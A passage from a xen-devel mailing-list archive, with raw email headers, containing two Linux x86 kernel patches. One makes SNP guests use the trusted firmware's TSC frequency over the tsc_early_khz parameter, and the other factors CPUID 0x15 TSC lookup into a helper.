         Y451paGiTeZlVC5AIh4TG7J2NOs3dIYvMeiUloHP/wJ2Z0Lo0x19ht7qUfopfEympmyJ
         qfDGBFmFByZUnADRjlYEqPzDSRUl87JfQpb1z9oXBCM6nVebYT2xIYlTlDGdbG7dSmg3
         L2Nw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934356; x=1783539156;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:reply-to:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=02bcXtHfI4JvUWCbZ/FGUqsIhMJvDsaJ6tKyxXO+eMA=;
        b=J1ZDSUiKS8FPpbPgxzRGokTzEq/B4iW8NcdFf7dTZTKgxDZJewwcnq+1VNEEM4YDH5
         NIzhOVLQ8jwzo7CdomfvoAgGahKaquAwNs80aVXr+wHGB4/+rjgIE3BXQgYFylic2ldj
         sdDaBrb1ff9Sn7o52HcxtR0zhuqRqoilpk6ARf/w6c0soqr1Z1Uq2TWsHs4t1bHiWVgx
         nS1GImr+sOMv/TB5/tg6cibBCWTt5+WtipkDE1gJSGTkLZcg94fMJLcbeJrAxfFBUtsI
         wPEzwIFvoRM9hw51ietJ7+jXqbwMGZWqZC5YOapOb1PUUez/m9c1nPn+tslSc1Jydkz4
         cz3Q==
X-Forwarded-Encrypted: i=1; AFNElJ+m/qOqVTrrAr5Q9eLbuHs9Y3gD8decZF97jgt5e3d0CN0Vyw2c8uEkv3GpxoEfMfilMNM+W84m5tU=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw1t+bYrGT/s5JH6uVGEhkuStP3CeoTcwP/V6+Wg86n51Isstwb
	Cqijeim+EaIYXdo23kx1y/n6llX39rts5ZB8j8oLGBb78pzFNIZR7fXD2P4zP8n7wlFIV9wFsPm
	L3cVSKw==
X-Received: from pgko8.prod.google.com ([2002:a63:f148:0:b0:c99:aff5:708f])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:d807:b0:3bf:9a30:3a20
 with SMTP id adf61e73a8af0-3bff40a18cemr2476915637.16.1782934355934; Wed, 01
 Jul 2026 12:32:35 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:29 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-9-seanjc@google.com>
Subject: [PATCH v5 08/51] x86/sev: Shove SNP's secure/trusted TSC frequency
 directly into "calibration"
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-720697/1782934358-564E97C5-FFECAC6D/0/0
X-purgate-type: clean
X-purgate-size: 7153

As a first step towards dropping .calibrate_{cpu,tsc}() and explicitly
defining precedence/priority for "calibration" routines, pass the secure
TSC frequency obtained from SNP firmware directly to
determine_cpu_tsc_frequencies() instead of overriding the .calibrate_tsc()
hook.

Unlike the native calibration routines, all of the paravirtual overrides,
including SNP and TDX, are constant in the sense that the frequency
provided by the hypervisor or trusted firmware is fixed, known, and always
available during early boot.  More importantly, for CoCo (SNP and TDX) VMs,
it's imperative that the kernel uses the frequency provided by the trusted
firmware, not by the untrusted hypervisor.  Enforcing the priority between
sources by carefully ordering seemingly unrelated init calls, so that the
trusted override "wins", is brittle and all but impossible to follow.

Explicitly ignore tsc_early_khz if the exact TSC frequency was obtained
from trusted firmware, as per commit bd35c77e32e4 ("x86/tsc: Add
tsc_early_khz command line parameter"), the goal of the param is to play
nice with setups that provide partial frequency information in CPUID, i.e.
is NOT intended to be a hard override.  Neither SNP's secure TSC nor TDX
was supported when commit bd35c77e32e4 landed back in 2020, i.e. lack of
consideration for the interaction was purely due to oversight when SNP and
TDX support came along.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 .../admin-guide/kernel-parameters.txt         |  4 +++
 arch/x86/coco/sev/core.c                      | 14 +++--------
 arch/x86/include/asm/sev.h                    |  4 +--
 arch/x86/kernel/tsc.c                         | 25 ++++++++++++++-----
 4 files changed, 29 insertions(+), 18 deletions(-)

diff --git a/Documentation/admin-guide/kernel-parameters.txt b/Documentation/admin-guide/kernel-parameters.txt
index b5493a7f8f22..181149f633c3 100644
--- a/Documentation/admin-guide/kernel-parameters.txt
+++ b/Documentation/admin-guide/kernel-parameters.txt
@@ -7946,6 +7946,10 @@ Kernel parameters
 			with CPUID.16h support and partial CPUID.15h support.
 			Format: <unsigned int>
 
+			Note, tsc_early_khz is ignored if the TSC frequency is
+			provided by trusted firmware when running as an SNP
+			guest.
+
 	tsx=		[X86] Control Transactional Synchronization
 			Extensions (TSX) feature in Intel processors that
 			support TSX control.
diff --git a/arch/x86/coco/sev/core.c b/arch/x86/coco/sev/core.c
index 403dcea86452..bc5ae9ef74da 100644
--- a/arch/x86/coco/sev/core.c
+++ b/arch/x86/coco/sev/core.c
@@ -99,7 +99,6 @@ static const char * const sev_status_feat_names[] = {
  */
 static u64 snp_tsc_scale __ro_after_init;
 static u64 snp_tsc_offset __ro_after_init;
-static unsigned long snp_tsc_freq_khz __ro_after_init;
 
 DEFINE_PER_CPU(struct sev_es_runtime_data*, runtime_data);
 DEFINE_PER_CPU(struct sev_es_save_area *, sev_vmsa);
@@ -2014,15 +2013,10 @@ void __init snp_secure_tsc_prepare(void)
 	pr_debug("SecureTSC enabled");
 }
 
-static unsigned long securetsc_get_tsc_khz(void)
-{
-	return snp_tsc_freq_khz;
-}
-
-void __init snp_secure_tsc_init(void)
+unsigned int __init snp_secure_tsc_init(void)
 {
+	unsigned long snp_tsc_freq_khz, tsc_freq_mhz;
 	struct snp_secrets_page *secrets;
-	unsigned long tsc_freq_mhz;
 	void *mem;
 
 	mem = early_memremap_encrypted(sev_secrets_pa, PAGE_SIZE);
@@ -2043,7 +2037,7 @@ void __init snp_secure_tsc_init(void)
 
 	snp_tsc_freq_khz = SNP_SCALE_TSC_FREQ(tsc_freq_mhz * 1000, secrets->tsc_factor);
 
-	x86_platform.calibrate_tsc = securetsc_get_tsc_khz;
-
 	early_memunmap(mem, PAGE_SIZE);
+
+	return snp_tsc_freq_khz;
 }
diff --git a/arch/x86/include/asm/sev.h b/arch/x86/include/asm/sev.h
index 594cfa19cbd4..05ebf0b73ef4 100644
--- a/arch/x86/include/asm/sev.h
+++ b/arch/x86/include/asm/sev.h
@@ -530,7 +530,7 @@ int snp_send_guest_request(struct snp_msg_desc *mdesc, struct snp_guest_req *req
 int snp_svsm_vtpm_send_command(u8 *buffer);
 
 void __init snp_secure_tsc_prepare(void);
-void __init snp_secure_tsc_init(void);
+unsigned int snp_secure_tsc_init(void);
 enum es_result savic_register_gpa(u64 gpa);
 enum es_result savic_unregister_gpa(u64 *gpa);
 u64 savic_ghcb_msr_read(u32 reg);
@@ -637,7 +637,7 @@ static inline int snp_send_guest_request(struct snp_msg_desc *mdesc,
 					 struct snp_guest_req *req) { return -ENODEV; }
 static inline int snp_svsm_vtpm_send_command(u8 *buffer) { return -ENODEV; }
 static inline void __init snp_secure_tsc_prepare(void) { }
-static inline void __init snp_secure_tsc_init(void) { }
+static inline unsigned int __init snp_secure_tsc_init(void) { return 0; }
 static inline void sev_evict_cache(void *va, int npages) {}
 static inline enum es_result savic_register_gpa(u64 gpa) { return ES_UNSUPPORTED; }
 static inline enum es_result savic_unregister_gpa(u64 *gpa) { return ES_UNSUPPORTED; }
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 8f1604ffe986..f049c126e47c 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -1440,15 +1440,16 @@ static int __init init_tsc_clocksource(void)
  */
 device_initcall(init_tsc_clocksource);
 
-static bool __init determine_cpu_tsc_frequencies(bool early)
+static bool __init determine_cpu_tsc_frequencies(bool early,
+						 unsigned int known_tsc_khz)
 {
 	/* Make sure that cpu and tsc are not already calibrated */
 	WARN_ON(cpu_khz || tsc_khz);
 
 	if (early) {
 		cpu_khz = x86_platform.calibrate_cpu();
-		if (tsc_early_khz)
-			tsc_khz = tsc_early_khz;
+		if (known_tsc_khz)
+			tsc_khz = known_tsc_khz;
 		else
 			tsc_khz = x86_platform.calibrate_tsc();
 	} else {
@@ -1503,6 +1504,8 @@ static void __init tsc_enable_sched_clock(void)
 
 void __init tsc_early_init(void)
 {
+	unsigned int known_tsc_khz = 0;
+
 	if (!boot_cpu_has(X86_FEATURE_TSC))
 		return;
 	/* Don't change UV TSC multi-chassis synchronization */
@@ -1510,9 +1513,19 @@ void __init tsc_early_init(void)
 		return;
 
 	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC))
-		snp_secure_tsc_init();
+		known_tsc_khz = snp_secure_tsc_init();
 
-	if (!determine_cpu_tsc_frequencies(true))
+	/*
+	 * Ignore the user-provided TSC frequency if the exact frequency was
+	 * obtained from trusted firmware, as the user-provided frequency is
+	 * intended as a "starting point", not a known, guaranteed frequency.
+	 */
+	if (!known_tsc_khz)
+		known_tsc_khz = tsc_early_khz;
+	else if (tsc_early_khz)
+		pr_err("Ignoring 'tsc_early_khz' in favor of trusted firmware.\n");
+
+	if (!determine_cpu_tsc_frequencies(true, known_tsc_khz))
 		return;
 	tsc_enable_sched_clock();
 }
@@ -1533,7 +1546,7 @@ void __init tsc_init(void)
 
 	if (!tsc_khz) {
 		/* We failed to determine frequencies earlier, try again */
-		if (!determine_cpu_tsc_frequencies(false)) {
+		if (!determine_cpu_tsc_frequencies(false, 0)) {
 			mark_tsc_unstable("could not calculate TSC khz");
 			setup_clear_cpu_cap(X86_FEATURE_TSC_DEADLINE_TIMER);
 			return;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350374.1607885 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fp-0001Bg-T1; Wed, 01 Jul 2026 19:32:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350374.1607885; Wed, 01 Jul 2026 19:32:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fp-0001B4-JM; Wed, 01 Jul 2026 19:32:41 +0000
Received: by outflank-mailman (input) for mailman id 1350374;
 Wed, 01 Jul 2026 19:32:40 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3VGtFagYKCZkL73GC59HH9E7.5HFQ7G-67O7EEBLML.Q7GIKHC75M.HK9@flex--seanjc.bounces.google.com>)
 id 1wf0fo-0000nC-2S
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fn-009wqs-FV
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:39 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3VGtFagYKCZkL73GC59HH9E7.5HFQ7G-67O7EEBLML.Q7GIKHC75M.HK9@flex--seanjc.bounces.google.com>)
 id 6a456b4a-e002-0a2a0a5209dd-0a2a45049d7c-34
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:39 +0200
Received: from [209.85.210.202] (helo=mail-pf1-f202.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3VGtFagYKCZkL73GC59HH9E7.5HFQ7G-67O7EEBLML.Q7GIKHC75M.HK9@flex--seanjc.bounces.google.com>)
 id 6a456b55-a01d-0a2a45040019-d155d2cacc45-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:39 +0200
Received: by mail-pf1-f202.google.com with SMTP id
 d2e1a72fcca58-847a90cc5e2so1364488b3a.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934357; x=1783539157; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=f4XM+SKEbnv+9fV8zEMQX/tlhGFDki//v0QnInqZVcA=;
        b=LjMGxlcZe9/21PnqsFCidISoH4+TMUcyJBOijy9FCEn+u+0iZHcoMUmLqKUX6y5ZVO
         bo/FOer8XdjdunOfT2tDkjFHI/4cYysJzS7AfiiZshQ2pyPXtzD9bRSdVrwFjWIeBGWa
         zWdQLFDf8gX+oju+QhL7tjFIm06VymrFj9u/jpKT2e/j4QcQ/oM0SKfGujWY7NmrtfWh
         9KSNxIXRU5PAvNqFxoPxtqu5q+vnNyAHK6bDrnFdvqDdzEGcQPzxzWUKrxs0xfO3RFaH
         XNn8qIrCGefoV2ShdQsEjf2vilAXwO1P9Dzm1R0B6l7imZtTPqn53YTswxBshs32Sqfx
         dAww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934357; x=1783539157;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=f4XM+SKEbnv+9fV8zEMQX/tlhGFDki//v0QnInqZVcA=;
        b=Q8OSZ9uifmUQn+HDwKLhSOABeql6O22F3E0diz1pcD4K4WOthfbj4WSXX2Zjk81IDj
         3L6ibpEqu+up8R4EhitEkDhWNjTTGPwxVvFEVg1A+MWrmOYOTyROW7Gxl9Q1h4aRPqAd
         FTBMJUH2u50aqmNRLxgSql+D32aWj/W5dkvK5CUCHWy/h48K+HCiT7DJ95akNMfePEzk
         AsBJ9lKqDpuZXKQi8pOGMK8jHA4k0UIGsEq+gdvu9HhAFiIRoWq7d1coKM8+wDomybNO
         an4OJN31miTq6RWkJCxt0KV3kjLv1JWt3IvRbM3ap/dtVGHups8qqG4hDJUiPDdvr4MF
         s52A==
X-Forwarded-Encrypted: i=1; AFNElJ9Jeq2UUfbQ5qImPL1HZ9SpkY1q5ORzNYn9P98mIkeluIHeBhU9gY/H4Gm9Q9R7bbuhAmHI8bTfskM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy0Tk3Vch6lKIZH57XDngi5mQqcHCQx/E24KTdnnMpD3I0n8mrT
	jrDsJkMMR78Sl0Acauu01HhdJpMSeyr15eeusjYnHwcGi6vrmPtO+NWoLttUmST93ke/hcBFwll
	sIgvk9A==
X-Received: from pgge10.prod.google.com ([2002:a63:db0a:0:b0:c8c:b193:3b13])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:a104:b0:3bf:6c08:fb81
 with SMTP id adf61e73a8af0-3bfed44c700mr3262662637.49.1782934356969; Wed, 01
 Jul 2026 12:32:36 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:30 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-10-seanjc@google.com>
Subject: [PATCH v5 09/51] x86/tsc: Add a standalone helper for getting TSC
 info from CPUID.0x15
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934359-ACB3B1CC-91C33C96/0/0
X-purgate-type: clean
X-purgate-size: 4244

Extract retrieval of TSC frequency information from CPUID into a standalone
helper so that TDX guest support can reuse the logic.

Opportunistically drop native_calibrate_tsc()'s "== 0" and "!= 0" checks
in favor of the kernel's preferred style.

No functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/tsc.c | 61 +++++++++++++++++++++++++++----------------
 1 file changed, 38 insertions(+), 23 deletions(-)

diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index f049c126e47c..12043812c8f5 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -645,46 +645,62 @@ static unsigned long quick_pit_calibrate(void)
 	return delta;
 }
 
+struct cpuid_tsc_info {
+	unsigned int denominator;
+	unsigned int numerator;
+	unsigned int crystal_khz;
+};
+
+static int cpuid_get_tsc_info(struct cpuid_tsc_info *info)
+{
+	unsigned int ecx_hz, edx;
+
+	if (boot_cpu_data.cpuid_level < CPUID_LEAF_TSC)
+		return -ENOENT;
+
+	/* CPUID 15H TSC/Crystal ratio, plus optionally Crystal Hz */
+	cpuid(CPUID_LEAF_TSC, &info->denominator, &info->numerator, &ecx_hz, &edx);
+
+	if (!info->denominator || !info->numerator)
+		return -ENOENT;
+
+	/*
+	 * Note: some CPUs provide the multiplier information, but not the core
+	 * crystal frequency.  The multiplier information is still useful for
+	 * such CPUs, as the crystal frequency can be gleaned from CPUID.0x16.
+	 */
+	info->crystal_khz = ecx_hz / 1000;
+	return 0;
+}
+
 /**
  * native_calibrate_tsc - determine TSC frequency
  * Determine TSC frequency via CPUID, else return 0.
  */
 unsigned long native_calibrate_tsc(void)
 {
-	unsigned int eax_denominator, ebx_numerator, ecx_hz, edx;
-	unsigned int crystal_khz;
+	struct cpuid_tsc_info info;
 
 	if (boot_cpu_data.x86_vendor != X86_VENDOR_INTEL)
 		return 0;
 
-	if (boot_cpu_data.cpuid_level < CPUID_LEAF_TSC)
+	if (cpuid_get_tsc_info(&info))
 		return 0;
 
-	eax_denominator = ebx_numerator = ecx_hz = edx = 0;
-
-	/* CPUID 15H TSC/Crystal ratio, plus optionally Crystal Hz */
-	cpuid(CPUID_LEAF_TSC, &eax_denominator, &ebx_numerator, &ecx_hz, &edx);
-
-	if (ebx_numerator == 0 || eax_denominator == 0)
-		return 0;
-
-	crystal_khz = ecx_hz / 1000;
-
 	/*
 	 * Denverton SoCs don't report crystal clock, and also don't support
 	 * CPUID_LEAF_FREQ for the calculation below, so hardcode the 25MHz
 	 * crystal clock.
 	 */
-	if (crystal_khz == 0 &&
-			boot_cpu_data.x86_vfm == INTEL_ATOM_GOLDMONT_D)
-		crystal_khz = 25000;
+	if (!info.crystal_khz && boot_cpu_data.x86_vfm == INTEL_ATOM_GOLDMONT_D)
+		info.crystal_khz = 25000;
 
 	/*
 	 * TSC frequency reported directly by CPUID is a "hardware reported"
 	 * frequency and is the most accurate one so far we have. This
 	 * is considered a known frequency.
 	 */
-	if (crystal_khz != 0)
+	if (info.crystal_khz)
 		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
 
 	/*
@@ -692,15 +708,14 @@ unsigned long native_calibrate_tsc(void)
 	 * clock, but we can easily calculate it to a high degree of accuracy
 	 * by considering the crystal ratio and the CPU speed.
 	 */
-	if (crystal_khz == 0 && boot_cpu_data.cpuid_level >= CPUID_LEAF_FREQ) {
+	if (!info.crystal_khz && boot_cpu_data.cpuid_level >= CPUID_LEAF_FREQ) {
 		unsigned int eax_base_mhz, ebx, ecx, edx;
 
 		cpuid(CPUID_LEAF_FREQ, &eax_base_mhz, &ebx, &ecx, &edx);
-		crystal_khz = eax_base_mhz * 1000 *
-			eax_denominator / ebx_numerator;
+		info.crystal_khz = eax_base_mhz * 1000 * info.denominator / info.numerator;
 	}
 
-	if (crystal_khz == 0)
+	if (!info.crystal_khz)
 		return 0;
 
 	/*
@@ -716,9 +731,9 @@ unsigned long native_calibrate_tsc(void)
 	 * lapic_timer_period here to avoid having to calibrate the APIC
 	 * timer later.
 	 */
-	apic_set_timer_period_khz(crystal_khz, "CPUID 0x15/0x16");
+	apic_set_timer_period_khz(info.crystal_khz, "CPUID 0x15/0x16");
 
-	return crystal_khz * ebx_numerator / eax_denominator;
+	return info.crystal_khz * info.numerator / info.denominator;
 }
 
 static unsigned long cpu_khz_from_cpuid(void)
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350375.1607896 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fr-0001bV-Hh; Wed, 01 Jul 2026 19:32:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350375.1607896; Wed, 01 Jul 2026 19:32:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0fr-0001a3-AW; Wed, 01 Jul 2026 19:32:43 +0000
Received: by outflank-mailman (input) for mailman id 1350375;
 Wed, 01 Jul 2026 19:32:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3VmtFagYKCZsN95IE7BJJBG9.7JHS9I-89Q9GGDNON.S9IKMJE97O.JMB@flex--seanjc.bounces.google.com>)
 id 1wf0fp-00014U-4i
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fo-00B3ua-Ho
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:40 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3VmtFagYKCZsN95IE7BJJBG9.7JHS9I-89Q9GGDNON.S9IKMJE97O.JMB@flex--seanjc.bounces.google.com>)
 id 6a456b2a-5cb7-0a2a0a5109dd-0a2a450184e4-20
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:40 +0200
Received: from [209.85.215.202] (helo=mail-pg1-f202.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3VmtFagYKCZsN95IE7BJJBG9.7JHS9I-89Q9GGDNON.S9IKMJE97O.JMB@flex--seanjc.bounces.google.com>)
 id 6a456b57-400f-0a2a45010019-d155d7cabc2b-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:40 +0200
Received: by mail-pg1-f202.google.com with SMTP id
 41be03b00d2f7-c89704da8c7so1485718a12.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Transfer-Encoding:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934358; x=1783539158; darn=lists.xenproject.org;
        h=content-transfer-encoding:cc:to:from:subject:message-id:references
         :mime-version:in-reply-to:date:reply-to:from:to:cc:subject:date
         :message-id:reply-to;
        bh=5dPlSt+N6Lt/Y9ZvBDGnN+olGzf3s7mk8869JKIa0HY=;
        b=MkWv0KXC4MXx6lGf//onmiIqh4yNwvQDXfcA2irvSslqrWxpkVO2AQG2SHgvRLeKND
         xKFW4TMiXR4aqkmmS70BFTQW1muy4PT2/9/m6M3sff8IMcfGI2XJaZy+k+Ne3p3M172d
         JBWpgEqqipqXxNyS+aTPrdHrkqkvLfXKcOx+28orrpACwbKyKAnecDI9pcjAFA0j6Bcd
         XcAt7M6irExNt8aKY8sajLYg+ABjTJtyLkLYZVZUfoaF+1QUFL0anBbz/aRktlytvkmK
